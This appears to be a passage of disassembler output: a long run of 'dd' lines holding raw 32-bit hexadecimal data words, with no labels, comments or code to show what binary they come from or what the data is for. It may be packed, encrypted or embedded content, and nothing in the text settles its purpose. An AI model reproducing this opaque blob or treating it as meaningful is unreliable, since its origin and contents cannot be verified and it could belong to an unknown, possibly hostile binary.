		dd 24EC203Eh, 6D09D970h, 84AB72BEh, 0C1809344h,	0A03CC9h
		dd 8DF1AF3h, 0AE91AD66h, 39C61C00h, 0DC1D3196h,	0D883000Fh
		dd 5F35F629h, 0D7004BA0h, 82945326h, 3EE32AC3h,	0A113EF8Fh
		dd 3F440019h, 0EC7EC179h, 35C25100h, 0AF26F794h, 5F7F204Dh
		dd 0B3B92412h, 0CA86FF00h, 0A319779h, 0F7BACB89h, 2501DCCh
		dd 786C8D74h, 3D0DA080h, 36051F52h, 79E74D14h, 0A0728C00h
		dd 1650532h, 2BC013B2h,	20EB53DBh, 1000D354h, 430D993h
		dd 3B66B662h, 3228CB31h, 0D1A003B0h, 0C5679A37h, 6C593124h
		dd 0F9835640h, 3450000Ch, 0DB5233D3h, 760216CCh, 0B3747F73h
		dd 30E0849Ah, 41CC96h, 0D12A0FD2h, 9C5F777Eh, 763E1071h
		dd 0A6F88728h, 0E6D0A385h, 0A99B4Bh, 0B803FF5Eh, 2BFDF56Bh
		dd 7930F300h, 0CA7B60F0h, 0AD1E2673h, 0C72103D0h, 0BB8981D9h
		dd 826034C6h, 67806F00h, 95B618F5h, 7AC21502h, 0A100F8A7h
		dd 0A004E0B7h, 0B828B030h, 5978FF45h, 0EC2ED03h, 0C06A9BE6h
		dd 0C211463h, 0D8BB175Bh, 8E04FCECh, 0B62E9004h, 69F1D6C1h
		dd 1C079DF0h, 0B95CFAh,	57C680D0h, 60064B2h, 0D775A344h
		dd 2EE563BCh, 1C26FFCBh, 0F62640A6h, 7F77E88h, 284C58h
		dd 0A11CA846h, 11B2902h, 0B0DD3D8Ch, 0F81588E1h, 894858F1h
		dd 0D50173D0h, 0C7236DD4h, 81D9BBC3h, 8C10F4h, 2468D1ECh
		dd 0D3C1D9BFh, 0EE4FA800h, 0B5077F21h, 0E1D70087h, 5634400Dh
		dd 8A981EFBh, 6EDCD60Bh, 0B66C00E8h, 603A14A4h,	4E7B59C0h
		dd 5D7020FDh, 7AE82700h, 1864378Eh, 19A7865h, 0AEA6BD75h
		dd 0F848CFE3h, 0AF3EF66Dh, 17D63BB3h, 4109D29Bh, 0FA040096h
		dd 40671668h, 5100E8F7h, 2B280C64h, 616B29h, 0C08A995Bh
		dd 0E571441h, 7C82F11Dh, 3BCE6C80h, 13A1DF10h, 94347h
		dd 0D6C2B67Ch, 88000FE0h, 9CEBA890h, 4BF72Bh, 7EC4401h
		dd 81A0C15Ah, 5B7E4E00h, 0A3D8FD1Ah, 22380028h,	0C0102CFCh
		dd 0AE00CA88h, 1FA67B1Dh, 90A27FF9h, 0F418000Ch, 0DCED8592h
		dd 0D607709Bh, 0B2FA54D3h, 76F277C0h, 0A88226F0h, 0C1A30010h
		dd 0B04CF912h, 0EE0B0300h, 0A24EB558h, 0F62D0BBEh, 6480A649h
		dd 0E992FFEBh, 45E63900h, 0E73BEFAFh, 58BA36h, 5FD33A94h
		dd 1791F0DFh, 0F091098h, 7F52AAh, 0CF738088h, 6F66093Dh
		dd 7C00A00Bh, 0A892F1ADh, 0FD004A74h, 0EB9BD9C3h, 45D36FEh
		dd 96710343h, 0EEE4841Ch, 87DE1400h, 60B14283h,	0BD2191Dh
		dd 353E7DADh, 0F8880C4h, 15C313DDh, 49B607B4h, 0B09467D5h
		dd 0E3F302DFh, 0C3D84060h, 4C5C7F9Ah, 0EE07E49Eh, 0E04FA9DAh
		dd 0CD352104h, 7DB7FC0Eh, 6B4B80E6h, 1E921ABEh,	808078E7h
		dd 6A9D1023h, 3A007029h, 0F05EF573h, 0B5470Ah, 147AFEB0h
		dd 0EDC885Dh, 0C2000BF2h, 7587F129h, 79071C8Dh,	277059h
		dd 0AB769F70h, 13E821F9h, 2CEC858h, 0F506BF74h,	15944083h
		dd 0D9A11DB7h, 280F47AEh, 7C16B061h, 9E0FC213h,	0A012CBD4h
		dd 2B4F6C1Eh, 3A7A6049h, 6E4B6841h, 9CC7F203h, 0B07B3E22h
		dd 24615363h, 94E9AEh, 3DA02042h, 8A00C5C6h, 0BB030A6Ch
		dd 8FC54h, 0A65CF3B6h, 4C5D27C1h, 8090BDE0h, 5F01A31Eh
		dd 3E791C00h, 75F83Fh, 51440703h, 0BD8CC36Bh, 0B6009070h
		dd 6545043Bh, 4AE441h, 29FA972Fh, 0F95DBFEh, 0AD4EEF00h
		dd 0A0DE61F9h, 0BA5600E6h, 5CFB1185h, 74009895h, 1019C1E0h
		dd 0F4CEE37Dh, 0C7B00B2h, 0D6FEDAB6h, 0E1A08979h, 737AA9B9h
		dd 15000E71h, 5F8C602Dh, 24B8F8h, 0C68F7BCEh, 0C25533CAh
		dd 6301D900h, 473CF083h, 87A60162h, 9A4CAA0Dh, 5325CCB2h
		dd 56F3D400h, 2A71B921h, 86783FC3h, 64FEAEh, 0B27535BBh
		dd 0C8034E69h, 0BD425003h, 74309068h, 0B86500B1h, 0D32119C9h
		dd 0A892C5A5h, 0FEFFAC03h, 90BC53F2h, 213BE97h,	0DB71EF8h
		dd 0F4E095B9h, 88429016h, 0C7C8E700h, 0EBA7D625h, 0A173F100h
		dd 0F4E04422h, 0ABB600F7h, 77298BF2h, 350413A4h, 73BA9FFDh
		dd 3B4EEC80h, 44DB00F3h, 0B6056742h, 4D0790E3h,	0C672D636h
		dd 5479B3A0h, 0F97B005Bh, 0BD9E5973h, 714C185Fh, 8A650110h
		dd 0FE14E745h, 0F286C8D7h, 41BC01B9h, 55A4563Ch, 545FECCBh
		dd 38DC6F06h, 253CDh, 605812FBh, 687BB88Dh, 7AB58605h
		dd 0D500A954h, 0ECF8E950h, 210A009Ch, 0F488A46Ch, 35007EEFh
		dd 3DBBAFEBh, 30914BA8h, 8C2020FEh, 5900CC28h, 0F8C81703h
		dd 41099E8h, 3D1C6025h,	0D62BC011h, 8A266B90h, 390384E1h
		dd 3CED322Bh, 13806D61h, 0B04245B9h, 7F0B8231h,	0EA6ADEAh
		dd 0FFE0E0ABh, 7D278022h, 7557025Ah, 0FB74FD77h, 30DE0C0h
		dd 8F32AD04h, 7680683Bh, 0B7C596h, 0DBA480D7h, 7BF9E39Dh
		dd 0DDA90A00h, 2E0DDEFFh, 0F1730023h, 50CED114h, 0AD04EB75h
		dd 5A87522Fh, 40697282h, 3A7F1FE8h, 0A40BA821h,	0D0AF388Dh
		dd 2AC2980h, 610EA26Eh,	837280C9h, 7889A8E5h, 9A7C20h
		dd 18AE54F0h, 15F5A125h, 310BA00h, 6DB5766Ch, 0A7770002h
		dd 0FE92B43Fh, 470095D5h, 0CCBECD79h, 0FD035CC9h, 40F661F1h
		dd 0E4AF214Bh, 7EEA3178h, 6035A680h, 0C20069E8h, 8ABF38BEh
		dd 48BDB7CDh, 441D69B2h, 76E4006Eh, 0A7DB2567h,	0CF85B503h
		dd 0C0D29D4Eh, 1C420950h, 815721FCh, 8DA01FACh,	0C070523Ch
		dd 20008204h, 76AA448h,	0E1A68F00h, 0A304583Bh,	0C7310029h
		dd 94080BDBh, 0DE704FACh, 0A9FD5F00h, 51867BEh,	0B5393C3Eh
		dd 0A4B88EBCh, 0C82A6F02h, 3CE0DA64h, 0C107F7B4h, 1DE7D4C6h
		dd 0FC72A821h, 3E07C0h,	0B1B87E32h, 70CB9F4Bh, 6AE97103h
		dd 98B32A09h, 0B5A665h,	0CE4BD21Fh, 0B25CDF16h,	0CFD95000h
		dd 0F69AB601h, 69B003D6h, 0C58DDD5Dh, 2285FB98h, 37C41B05h
		dd 10C03075h, 0E885BE7h, 0F628EC96h, 0DDBDCA00h, 0E503E057h
		dd 126E09AAh, 553FA8D5h, 21F400D3h, 0A853BE3Bh,	2A07D6CEh
		dd 38D8940Fh, 987E99F0h, 0BFC40A36h, 80D4AEBEh,	6D7AE928h
		dd 0B0F0C573h, 4875C300h, 57076894h, 1D4300F5h,	0DE327876h
		dd 8D01B782h, 3B4C124Eh, 0E8EF55F4h, 12279DA7h,	2B1BEC9h
		dd 4B501578h, 0BF0C017Eh, 0AB6972h, 94459AFDh, 0FE4D3E84h
		dd 6C4E9000h, 2C086D5Dh, 1FDC159Eh, 9200F0AAh, 8EFCE9E2h
		dd 9700DEFDh, 3E172346h, 0C722B4h, 92CA27B2h, 6A209866h
		dd 65E97903h, 0C04139DBh, 12C0983h, 217ED5CAh, 0D0F18460h
		dd 0A9EE8B93h, 0FA998C12h, 809DCC4Fh, 4CC1C49Ch, 0C00E0611h
		dd 0B018FEA5h, 60028548h, 0F8719529h, 0FDA901D9h, 21F6B7DCh
		dd 10D99389h, 9E18F100h, 0AD0767h, 8EEE4E45h, 1C2FB4A8h
		dd 0E083D10Ah, 6D06B869h, 87F666BBh, 0C1405704h, 0CB15F1h
		dd 0A8A67188h, 0B030F58Ch, 8093F039h, 0D549A0E6h, 0F8B2DCCCh
		dd 906D3F4Fh, 0AD260580h, 1640CB0Dh, 87E75100h,	632F11EDh
		dd 0B7F41FD7h, 4A8F4726h, 6F5A60A4h, 0AE01FDF1h, 16AA875h
		dd 48A44764h, 1B8930A0h
		dd 0C91F5CACh, 138154C4h, 8ED832BFh, 8DC1A980h,	76873925h
		dd 0FF354218h, 0F2FA8BB8h, 0CA8A0071h, 53CF63F6h, 90C09D4Fh
		dd 0E817BBCh, 187A392Ah, 0D483A803h, 50184F03h,	0C37940AFh
		dd 1BF65C37h, 28F58600h, 6DC85748h, 32226400h, 0D2C9ADA3h
		dd 72CD0653h, 11ACD33Ah, 0FA0A5202h, 93C1C206h,	1861E1A0h
		dd 77D8BBE9h, 81212A6Bh, 0D40B00A4h, 10ECAFB2h,	7E3B446Ch
		dd 0A2948634h, 0CB87396h, 69B1E63Fh, 0EC56A6F0h, 0D12C10D0h
		dd 59DB3806h, 0CD7C304Bh, 0B333301Fh, 8CE3D808h, 0EE0E0906h
		dd 2F5B520Ch, 50F4F123h, 0A874BCA5h, 1429DAE0h,	0C8794C3Ch
		dd 2A0FF002h, 0D080AB3Dh, 0A0A7B9E6h, 53583Fh, 2F9B704Eh
		dd 7BD064Fh, 0BB590709h, 38E0CC67h, 0AE503F63h,	0E8B10063h
		dd 0B26F74F1h, 327E6171h, 6D03C5Ch, 38C0C24Fh, 0D42C05B0h
		dd 43D2F95Eh, 0C1D334D8h, 0F0C6D8AEh, 2851E8h, 66F2F6Bh
		dd 0E25003B4h, 184E2830h, 9E6AD60h, 1C74B18Ch, 387415h
		dd 3309FB55h, 1F02E654h, 1FF34C15h, 322E03h, 2AF589F9h
		dd 207BBBF8h, 1D673003h, 0F83F1A4Fh, 0E49111Fh,	50EE0706h
		dd 5B6C3360h, 40090F4h,	848F6217h, 62FA726h, 0AD59E8ECh
		dd 0CD1C795Dh, 93C1E457h, 219A6E85h, 0F0B455CCh, 0BC1200D8h
		dd 91ED5CEEh, 0BCA0A1CDh, 8F1D446Bh, 4798A9D3h,	0E2BBE8h
		dd 0D46A1C6Dh, 5304C48Eh, 2AD33880h, 12983E59h,	0EEC6C9h
		dd 3C9DB610h, 0AB343A24h, 80022142h, 9E0419A3h,	0B3E51020h
		dd 54D8C589h, 298AA041h, 0BA20F05Fh, 0A3D312F4h, 870037Fh
		dd 0E9306F87h, 0F531F64Ch, 53361F3Fh, 18355DEDh, 61322163h
		dd 32CAD48h, 0D973DC7Fh, 0EE17DF8h, 0A2AB18AAh,	65A08A8Fh
		dd 95352A93h, 0A62188A0h, 838CE951h, 0D8C96D48h, 0D338183Ah
		dd 0F71CA152h, 0A017D400h, 0EACDD16Fh, 320C04FEh, 5F5AAD77h
		dd 37FDCA42h, 1F5F617Dh, 54DBE4h, 0F37A9980h, 0FED4B78Fh
		dd 0B9D70533h, 1E88B112h, 0E6F4BBE1h, 5B19C3F5h, 79019240h
		dd 87BD0516h, 63D86560h, 8ACF0101h, 81F8721Dh, 0F4C08291h
		dd 456BA730h, 401100B8h, 0BA8A03AFh, 6C2D9602h,	4852B16Ah
		dd 176E58h, 8BE05FAh, 30D5558Fh, 217A08CCh, 0FA0F0013h
		dd 0A7916D93h, 0AB70D3E2h, 702DCC00h, 71F9675Bh, 0BB80C4A2h
		dd 0B65C8077h, 0AC13D69Ch, 3041AA95h, 0CAD31E97h, 94F833E9h
		dd 0DD2000C9h, 0C8D26A1Dh, 3506AFEDh, 43497A69h, 0B26121A0h
		dd 100E7CA4h, 50900ABEh, 0FA2268E0h, 0F4560369h, 5CD25EB2h
		dd 0AB4000AFh, 0A954AEC1h, 86FDAAE8h, 0A6950308h, 0B100399h
		dd 0A5FB6189h, 0C8EFEA89h, 6B0025B0h, 266ECBF3h, 2A707313h
		dd 0C461D3h, 0BCAD5E69h, 0E8A7E62Fh, 6A327400h,	0F7888E25h
		dd 41AF305Bh, 0A22C1799h, 0F60EF900h, 9FA6765Eh, 356900F8h
		dd 0CC11600Dh, 0D553516Ch, 321204F8h, 78823D65h, 0AD5C3003h
		dd 4746F5FCh, 31016122h, 0CE6BAC64h, 7840DAAAh,	303ADC90h
		dd 0F4502FF3h, 0D330224Eh, 3146C96Dh, 0F590EAFh, 0E6A65023h
		dd 4A4D0812h, 19181EE0h, 8A42DDC0h, 0F97AC2h, 7EF41EB2h
		dd 71B6D707h, 1D588565h, 0AC625420h, 57F5233Ch,	1F006511h
		dd 8242AC6Ah, 0DB5811F9h, 0BE9802DAh, 625DBCD9h, 31440E0h
		dd 16D498CBh, 21A7F03Fh, 82A8DA50h, 8C14DD9h, 62E84945h
		dd 0D6BD97F0h, 9240860h, 648EEC86h, 633B4450h, 7B04AC1Dh
		dd 0EB7DE071h, 1442BC20h, 90F5E766h, 30012323h,	0DB0F5AAFh
		dd 19884818h, 210F618h,	267E8420h, 706A36ACh, 7A58486Ch
		dd 2C1D2964h, 64AF2E01h, 44180B0Eh, 0F6162788h,	0B446001Ch
		dd 48150E7Bh, 2E01C0ABh, 8C0C8031h, 0A8505BADh,	0FD784Ah
		dd 28E9D122h, 31626D54h, 0CA2C9002h, 0AAE74012h, 0B00F88Ch
		dd 357FED3Dh, 0E1CB014Fh, 0BA84CC27h, 7552C9A3h, 0DB984208h
		dd 15521C66h, 3160F2F0h, 0EFD2F03Ah, 0C06CDC0Eh, 24F820E7h
		dd 536B690Ah, 42A2B4F0h, 0A417730h, 3424F1BEh, 6A5501FCh
		dd 24AE9405h, 0FE049B10h, 1E382593h, 1640D881h,	21970899h
		dd 0E294E080h, 6EFD3500h, 83789C87h, 0D4280AEAh, 4804E09h
		dd 0D85E6C2Ch, 0FA040B3Ch, 8FE8BE11h, 2300672Ch, 49D43DFAh
		dd 5D6F9D9h, 9EB985A8h,	8B884075h, 70B5A5EBh, 0B6461609h
		dd 0C548032Ch, 6570094Dh, 142790C9h, 46FDC3F1h,	7803182Ch
		dd 72624674h, 0E7EB5E03h, 0D8159EB8h, 0AAAF9440h, 0F6D7C080h
		dd 606D1468h, 38482CC1h, 1C2F6200h, 5CE8AC51h, 809C54F1h
		dd 0B0D83F6Ah, 0E0F941CFh, 0E99C741h, 0F3D0A013h, 0ED05149Ch
		dd 70109CFEh, 0FA25C0B1h, 8C18BDFFh, 157D44h, 7797FA1Dh
		dd 3D2A9EDCh, 2C28F50Bh, 705C054Ah, 0F984688Ch,	6864DC73h
		dd 0FA096064h, 0F8BE230Bh, 69164211h, 0F91C0221h, 7CC2B625h
		dd 5691F017h, 5C41CB80h, 904A591h, 0C614F1EDh, 50A734C2h
		dd 7FD42544h, 0BB1C5499h, 2545268h, 0BE04FA16h,	11713120h
		dd 20800E14h, 58C95C29h, 12016410h, 0F0ECCAD7h,	0C4EC2D8Ch
		dd 34965C4Fh, 4006A116h, 0E9A75998h, 0C112CD58h, 240957B0h
		dd 2CE819B6h, 58F2A462h, 9E61530h, 49DB34F1h, 202E9041h
		dd 2F249D14h, 63400895h, 16754125h, 123116A2h, 0F41C6068h
		dd 88A91018h, 17146470h, 0AC68028Ch, 3567F52Eh,	2DAC2465h
		dd 0B4E1AC0Ah, 247B4308h, 802111A4h, 0F58AF32h,	0C360B12Bh
		dd 95D81A13h, 62001F46h, 0E198E9EDh, 4B3F593Ch,	407C40E7h
		dd 9D1C119Ch, 0DCE90D26h, 233A6E64h, 0C9F30041h, 10117B6Fh
		dd 8EA19212h, 0ED136403h, 3C9CF8A2h, 0F7730326h, 12082C54h
		dd 6B2F8297h, 0E6035071h, 21509ADh, 3A30D9C0h, 809D9322h
		dd 0A3833E91h, 4A90649Bh, 0D714093Ch, 0ECC871E1h, 0F61D8C57h
		dd 2940541Fh, 0BE0D37A3h, 326816C1h, 39DC4FB3h,	1F604E73h
		dd 60A957EDh, 0DC0EC4ECh, 83237CEFh, 0F8564BA2h, 7BBC5067h
		dd 163B3C7Ah, 0C41094A5h, 0AB7B3832h, 8633949Ah, 0D8F68970h
		dd 7FC1D48Dh, 120977D6h, 40CC399Dh, 5B0C0464h, 0C4949E07h
		dd 4F276480h, 3F018A0Dh, 0D080DC4Dh, 17F3BF7Ah,	0D7583108h
		dd 0C5040070h, 2194DB9Ah, 0BDFE3068h, 6366E451h, 9CC5BCA2h
		dd 376145C4h, 4C643371h, 30EEE9A4h, 0F50970A0h,	949FCBF8h
		dd 71309184h, 12261842h, 0C4E0E1BEh, 0C5888468h, 0B2D30BA8h
		dd 6319A824h, 3809B80Ah, 227243FEh, 27400A3h, 0BFA4B594h
		dd 60B3AE99h, 0C4146700h, 279BAFDFh, 0CC860B6Dh, 54243AF1h
		dd 1DDCE430h, 43C3EBBEh, 18098AF4h, 385025E9h, 0A33281F0h
		dd 80A774F6h, 0D823D41Bh, 93FF0104h, 73063816h,	177D8014h
		dd 3B1ABA94h, 8180BD54h, 3493F3CDh, 5B4F3AC3h, 83D5F820h
		dd 8FD3300Ch, 945809C9h, 0B8C01507h, 873C360h, 86E088EDh
		dd 53D33007h, 24DA3929h, 9E4804E4h, 26B983B0h, 0CC0A9045h
		dd 527202C5h, 0D3B88B6h, 4951AC40h, 26D9CB80h, 0A5F456F4h
		dd 5911E41Dh, 811C3384h, 0F2296194h, 0D55D6820h, 0E95AF1h
		dd 74400C98h, 6324CBC5h, 9C08142Eh, 6318446Fh, 380AB80Bh
		dd 0A2448CE6h, 94031E71h, 9BF4806Fh, 0E5BB78ABh, 7F271209h
		dd 9164172Bh, 94528459h, 0D08E1084h, 0B1C04288h, 12AC4DA4h
		dd 4BDAD5AAh, 3C1086C8h, 9D03FC24h, 0E610D7C9h,	0C012BBD6h
		dd 2A61811h, 37F3E121h,	3660DA3Dh, 0D89872A8h, 0F832FF4Ah
		dd 601C0466h, 0B863AF17h, 0F70A79Ch, 5160FF26h,	6ADEAE46h
		dd 0FCC52300h, 9518E28Ch
		dd 4A4A8ABh, 0B3A30058h, 5393E0CBh, 5200CFD9h, 0AC5B0F40h
		dd 43164B8h, 0F1382232h, 5F2C8886h, 0A41F7000h,	84215452h
		dd 0C88D0344h, 0E6659FCCh, 0E84E50D9h, 38092BB8h, 96D3EC3h
		dd 819CE670h, 431903F8h, 0EFA07A7h, 0A444A04Ch,	941C017Ah
		dd 920EA210h, 2841DAB5h, 426467D8h, 3044E290h, 2D0116ECh
		dd 0C7EE36C5h, 66205BEAh, 60976285h, 0B0442F5Ah, 7D5C9E02h
		dd 5A062379h, 58E09338h, 0A9E409CCh, 1A15C5Ch, 0FA366571h
		dd 70829FD5h, 2D32FBDEh, 71717C51h, 0AA002018h,	0DA74C46Dh
		dd 8E3503h, 0FC5E74Dh, 72C0252Ah, 9FF5A838h, 955629D5h
		dd 301C2022h, 3D11AC65h, 64885FF5h, 0AC6D1E80h,	74C09A6h
		dd 0F8D7EAF0h, 5842F9EFh, 0A79CC541h, 11341759h, 5548062h
		dd 7825F916h, 138F149Ah, 57AC5006h, 4100948Ch, 30FFA556h
		dd 2E09E198h, 1D96D7B7h, 81421114h, 9BF9A376h, 918746DCh
		dd 3D507ECh, 3D841075h,	97FC54E2h, 0D4906E00h, 9E44508Eh
		dd 0E8C0003h, 1DC0512h,	4504320Bh, 5A70A9BEh, 0E906AF12h
		dd 550B3F3h, 918F5E6Ch,	25A4B0E9h, 0D9D55B06h, 39109379h
		dd 552828F4h, 0BE060BB8h, 406024C9h, 74BB98B7h,	91649725h
		dd 0C6CD81A4h, 3AECBB2Eh, 0F33F1AEAh, 0EC4199B5h, 0C0827h
		dd 70260760h, 0B539A8Fh, 0B0317E4Bh, 3980B493h,	3E1F5E25h
		dd 4201AB45h, 2A0E71FEh, 0E1ADA50Dh, 74ADA098h,	83E461C1h
		dd 8DD88AE6h, 0B8F24826h, 23F02E93h, 363D0141h,	20BAF115h
		dd 87480184h, 8C65F850h, 0A6F2581Eh, 8854688Ah,	87712808h
		dd 0A07A4012h, 0A0E7518Fh, 7D77913h, 0CA34A20Bh, 652C4040h
		dd 0E0E681AAh, 0D77C95D5h, 0AC884998h, 5200B448h, 5CF75198h
		dd 6BD90Fh, 80B595EEh, 0F547CBEDh, 46C33009h, 0E4DC4D90h
		dd 0A2A88079h, 0F0A2EF8Bh, 5100E45Ah, 0D83902A0h, 0B46BA64Ch
		dd 830E11ECh, 0D265AF3Dh, 0F944703h, 5460052Ch,	44F1C071h
		dd 2B00F4BEh, 6BA3CBF9h, 7AC4E209h, 1C35170Ah, 0D438906Dh
		dd 0DAEE0D93h, 0CCB60800h, 84E24E91h, 3CC0BA35h, 86C001DBh
		dd 10B86654h, 63B0DE78h, 0EBFDCE0Eh, 0ACE800F9h, 2DDF68Bh
		dd 0CC2C0A2Fh, 0F071CBD0h, 601971D9h, 9C1D4D9Eh, 9DB91FF5h
		dd 18890791h, 0DCA860A0h, 0DC944815h, 1640D18Eh, 47149E82h
		dd 0D305A000h, 0B9A1EDCh, 0F1C782Eh, 747904E5h,	0B8B4B66Fh
		dd 6BCFB004h, 0F2BCA2D9h, 0FB36307Ch, 46BD0A00h, 0DA8A4CEFh
		dd 0B4535959h, 5B2CE20Bh, 9E11AC9Fh, 0E405FA9Fh, 98C0AEF3h
		dd 35245A20h, 618F085Eh, 5C855D5h, 4BA42C55h, 0F20E8C01h
		dd 74209801h, 61609EB1h, 519CD9BEh, 0C83B53ECh,	194C84F6h
		dd 0A4B42A54h, 1D864F00h, 32DDBEA9h, 0B7F200E1h, 36A60AF1h
		dd 64A0DE40h, 0A348D551h, 385920h, 0FD41E96Dh, 4272A426h
		dd 5AD3896Ch, 126404C0h, 0AF4BEA5Eh, 51FE81C2h,	0A8A685ECh
		dd 4F6C8185h, 5E343D46h, 0EF863820h, 1DE0098h, 0F97BE731h
		dd 0C4014F48h, 0E65163A6h, 0E03C1330h, 0ED076D07h, 0F3D964DDh
		dd 461820E4h, 0FA24136Bh, 0F8381084h, 0FA1C010Eh, 0EA4177E8h
		dd 0F9922070h, 1E9EC3Ah, 0E73C317Ah, 5171D164h,	0C3CBC810h
		dd 974B00F5h, 1ED1E46h,	3A05298Dh, 10E50C0Bh, 148CD8B0h
		dd 482E86FAh, 8C7DB8h, 0F72324A1h, 2C373415h, 3A6DD82Dh
		dd 16B441B4h, 0AC2F6318h, 164C8B17h, 6B2C0030h,	80160DACh
		dd 5511C8E2h, 0DA2FEC1Ch, 64D12032h, 13185759h,	88AB7100h
		dd 676CD774h, 269D044Fh, 0B952F6ACh, 48407F44h,	10A8B3C8h
		dd 8CA1E80Eh, 677DA700h, 32B4DE06h, 0AC953098h,	65FF7521h
		dd 0A412011Ch, 17BAA3C2h, 0CC48091h, 4E6FFBh, 0AD5062E7h
		dd 0D81A7203h, 2605B49h, 51EC3C3Fh, 3594E06Dh, 62F09C5h
		dd 7830F658h, 9676C332h, 0FE595C9Ch, 24EE0118h,	11163823h
		dd 197B00A8h, 46A66894h, 0ED58042Bh, 0A039F9D5h, 0CCB26AC0h
		dd 4871A8B1h, 7B003C18h, 0D2350A59h, 275CF1BEh,	0AC1DB270h
		dd 97809E11h, 954A8E84h, 5319AD60h, 0B7FEBFC7h,	0B849D700h
		dd 4B01A88Eh, 241BC92Fh, 0CC6896DBh, 0F2305EC4h, 3048E2C8h
		dd 0D6288A9Bh, 220B84Bh, 0EF060046h, 1225FE78h,	0FC490908h
		dd 0FB2A02B8h, 532C5758h, 772C58F0h, 57F20700h,	2752D90Dh
		dd 69F0B4B7h, 0AEAD0A82h, 60848C5Bh, 84915E26h,	0D468BFC1h
		dd 1CE1CC56h, 0DF8CC88Bh, 3820D70Ch, 2D2A7946h,	481D88B9h
		dd 0CF806491h, 88F6ECA3h, 80B4944Ch, 0AB43EFA5h, 241E00B0h
		dd 1B39765h, 0AF390B5Eh, 0C30DAC0h, 3020F513h, 319058C8h
		dd 0C01750B3h, 6008FED8h, 51F8059h, 7304F63Eh, 6106D67Bh
		dd 58D80C65h, 30706321h, 0D8FD1E53h, 3D000650h,	73264024h
		dd 0FFD75F98h, 40B83C79h, 2F49D8ACh, 0B3EB838h,	0D393CAB1h
		dd 32F6BC90h, 7F4ADC00h, 1651F77Ah, 0A7E0ADh, 0C73B6B17h
		dd 88E03FBAh, 8290191Eh, 164CAA42h, 0E9C85456h,	4964B445h
		dd 0A02CC60h, 0D80003B0h, 3582E4Fh, 7FBE08FAh, 0DA0E0938h
		dd 14909F2Dh, 0B404F761h, 5315D334h, 7DEC8CA8h,	28AE08Ch
		dd 983BB7B4h, 3D4228F5h, 0FB121064h, 0F08E7A1Ah, 0FDC16488h
		dd 0B5C4F791h, 0EC241837h, 0FF19587Ch, 2A60E2Ch, 0B188931h
		dd 1C2F4870h, 5306E2D7h, 0BEE6020Dh, 0EC8B8F70h, 38009CB5h
		dd 0BA9CCD25h, 500E2AC3h, 79CC9990h, 64F1858h, 0E6AAE527h
		dd 0AD4B194Ch, 8AE5440h, 4A28082h, 0A4CC9E35h, 6F10C26Ch
		dd 0CFF65B20h, 4BD97230h, 0F378800Dh, 0E4EA7D25h, 0DEAB3F00h
		dd 34A2CC16h, 0EC723D56h, 1D51798Eh, 0F6EDA043h, 61734EE1h
		dd 76E1DCh, 4EDDD870h, 1F2491A7h, 94120456h, 4AB2D8A2h
		dd 0A25730h, 9B6646C8h,	0FBC9A5F7h, 99F498C0h, 0D6AC712Ah
		dd 8D4D568h, 56C009D4h,	4BF530ADh, 33F42C37h, 0B8AD5E00h
		dd 26F8A9C6h, 0C842F903h, 0C458475Dh, 0C2806059h, 2F97712h
		dd 4730F5E4h, 58D19057h, 161843D1h, 0D7DD7B1Ch,	48710C1Dh
		dd 718E3EAEh, 0C6A73FE2h, 0A9FDE194h, 0A7FD6061h, 24E65D01h
		dd 90E529D6h, 77181064h, 140E8096h, 0AC2C6D09h,	0C1B4610Ah
		dd 13BD10C4h, 90087188h, 77C97D20h, 11A17E30h, 12AC4B66h
		dd 0C946D3Fh, 0A7B0D5A4h, 6C442498h, 0AD402417h, 8CD4050h
		dd 40E9598Fh, 0C43C4594h, 63044301h, 0CA86B64Eh, 8D4FA051h
		dd 9CA2B873h, 5BDC30h, 0A382F0CFh, 26BFF17Ch, 85CBF917h
		dd 7A309488h, 0E6210065h, 1AD9ED08h, 600425E9h,	160F91DBh
		dd 28D820C0h, 90E4503Ch, 0FCC7F2A1h, 0F16412C1h, 9288B010h
		dd 95E6A000h, 9BA837BDh, 0E7ED01F3h, 0B8E27870h, 0EFDBC0D9h
		dd 0C1DA40C1h, 58800A26h, 9DEDE646h, 0B217CA71h, 90CBA5CCh
		dd 6EC0A4C8h, 282A0FBBh, 0F3E89605h, 0A62112D3h, 2EFC20D5h
		dd 6A603B5Bh, 0D3D1DF9h, 925F3E60h, 19672F18h, 0D8275D5Eh
		dd 91B097FBh, 0CAB8804Dh, 708C9BDAh, 41AA0B3Fh,	1072CE61h
		dd 5AD56811h, 0E7D72A00h, 0E99234E8h, 571324FAh, 1CF7606Ah
		dd 85619A1h, 20688D6Dh,	1CFDBE44h, 23442F97h, 0C1E301A3h
		dd 78977F86h, 8C9EBC70h, 0F22DCB02h, 90335B99h,	9CA6AD0h
		dd 0A5E0AAACh, 0B60954D8h, 0F3A7322Ch, 0BF2170B8h, 0D1F80C03h
		dd 88CA64B9h, 50ACA9BEh, 9FD2B84Dh, 0F26648A4h,	307DF24Ch
		dd 4502A684h, 95BA8978h, 0FEC70B2h, 41D0B7A5h, 5B03AB01h
		dd 88C6940h, 0AC3191D5h, 56467444h, 8150F900h, 87A9038Eh
		dd 830158B0h, 0F1C2B69Eh
		dd 0D8A33FE0h, 0AB578E8h, 55055702h, 48BACA98h,	6195FE18h
		dd 67C829A9h, 7DF4CC25h, 0BCD8CE00h, 372AD4E0h,	0EE08BAC2h
		dd 0B33D1AF9h, 5474E172h, 643465Eh, 8424094Bh, 0F23F11C8h
		dd 2CC85AA8h, 26620185h, 0D5D905DEh, 2CF070CCh,	23C014Ch
		dd 0A7280454h, 1607C8Fh, 1EC33871h, 22D1824Fh, 48A7AF5Bh
		dd 250A130h, 0F17EEE8Eh, 0A2C1A251h, 62746160h,	0F8DA4E70h
		dd 8EBC9580h, 870434CEh, 0BA2C750Dh, 33C83C81h,	30CBD048h
		dd 0C1085267h, 18C2428Ch, 5CC6C3B6h, 2F2C12D8h,	7B2378h
		dd 9AED3DCh, 0A3389920h, 0C9C08462h, 18C2CC3Ah,	6D4A6051h
		dd 0B082ECBCh, 731C20ACh, 39287012h, 0E5156082h, 6062E424h
		dd 437A157h, 0D47CF761h, 2534FCB8h, 312420AEh, 5814C8EDh
		dd 307814F9h, 0EC7129C1h, 416653F8h, 9399988h, 0BCD02861h
		dd 6F6548FAh, 0D30AD421h, 467454A4h, 5B070960h,	67C8103Dh
		dd 8FB131F9h, 8466CE89h, 1FA37B1h, 9F94ECF0h, 0AEA2A0A0h
		dd 0D200AB48h, 0F882A6D6h, 0ECF0E62Eh, 0C03E4884h, 744C0049h
		dd 8C9CE8h, 4138D5DAh, 2857B9C7h, 0AE888912h, 3FD40F4h
